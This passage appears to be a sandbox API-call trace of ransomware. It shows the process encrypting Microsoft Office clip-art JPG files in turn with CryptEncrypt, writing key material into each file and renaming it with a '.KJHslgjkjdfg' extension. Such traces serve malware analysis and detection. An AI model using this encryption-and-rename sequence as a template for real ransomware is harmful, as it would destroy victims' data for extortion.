(hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.824] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1df43, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1df43, lpOverlapped=0x0) returned 1 [0201.826] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1df50, dwBufLen=0x1df50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1df50) returned 1 [0201.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.827] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1df50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1df50, lpOverlapped=0x0) returned 1 [0201.827] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.828] SetEndOfFile (hFile=0x130) returned 1 [0201.830] GetProcessHeap () returned 0x990000 [0201.830] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.830] GetProcessHeap () returned 0x990000 [0201.830] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.kjhslgjkjdfg")) returned 1 [0201.832] CloseHandle (hObject=0x130) returned 1 [0201.832] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1 [0201.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.833] GetProcessHeap () returned 0x990000 [0201.833] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.833] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.834] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0201.835] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.835] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.835] GetProcessHeap () returned 0x990000 [0201.835] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.835] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.835] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.835] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.835] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.835] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.835] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.835] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.836] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.836] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.836] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x184d3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x184d3, lpOverlapped=0x0) returned 1 [0201.837] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x184e0, dwBufLen=0x184e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x184e0) returned 1 [0201.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.838] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x184e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x184e0, lpOverlapped=0x0) returned 1 [0201.838] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x185b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.839] SetEndOfFile (hFile=0x130) returned 1 [0201.840] GetProcessHeap () returned 0x990000 [0201.840] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.840] GetProcessHeap () returned 0x990000 [0201.841] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.kjhslgjkjdfg")) returned 1 [0201.842] CloseHandle (hObject=0x130) returned 1 [0201.842] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1 [0201.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.843] GetProcessHeap () returned 0x990000 [0201.843] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.843] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.843] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0201.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.844] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.844] GetProcessHeap () returned 0x990000 [0201.844] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.844] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.844] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.844] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.844] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.844] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.845] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.845] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.845] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.845] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1aba5, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1aba5, lpOverlapped=0x0) returned 1 [0201.847] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1abb0, dwBufLen=0x1abb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1abb0) returned 1 [0201.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.848] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1abb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1abb0, lpOverlapped=0x0) returned 1 [0201.848] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ac84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.848] SetEndOfFile (hFile=0x130) returned 1 [0201.850] GetProcessHeap () returned 0x990000 [0201.850] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.850] GetProcessHeap () returned 0x990000 [0201.850] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.kjhslgjkjdfg")) returned 1 [0201.852] CloseHandle (hObject=0x130) returned 1 [0201.853] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1 [0201.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.858] GetProcessHeap () returned 0x990000 [0201.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.858] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.859] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.861] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.861] GetProcessHeap () returned 0x990000 [0201.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.861] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.861] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.861] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.861] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.862] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.862] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.862] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.862] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.862] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1653a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1653a, lpOverlapped=0x0) returned 1 [0201.864] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16540, dwBufLen=0x16540 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16540) returned 1 [0201.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.865] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16540, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16540, lpOverlapped=0x0) returned 1 [0201.865] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.865] SetEndOfFile (hFile=0x130) returned 1 [0201.868] GetProcessHeap () returned 0x990000 [0201.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.868] GetProcessHeap () returned 0x990000 [0201.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.kjhslgjkjdfg")) returned 1 [0201.870] CloseHandle (hObject=0x130) returned 1 [0201.870] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1 [0201.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.871] GetProcessHeap () returned 0x990000 [0201.871] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.871] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.871] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0201.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.873] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.873] GetProcessHeap () returned 0x990000 [0201.873] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.873] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.873] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.873] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.873] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.873] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.873] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.873] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.873] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.873] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13e1d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13e1d, lpOverlapped=0x0) returned 1 [0201.875] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13e20, dwBufLen=0x13e20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13e20) returned 1 [0201.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.876] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13e20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13e20, lpOverlapped=0x0) returned 1 [0201.876] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.876] SetEndOfFile (hFile=0x130) returned 1 [0201.879] GetProcessHeap () returned 0x990000 [0201.879] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.879] GetProcessHeap () returned 0x990000 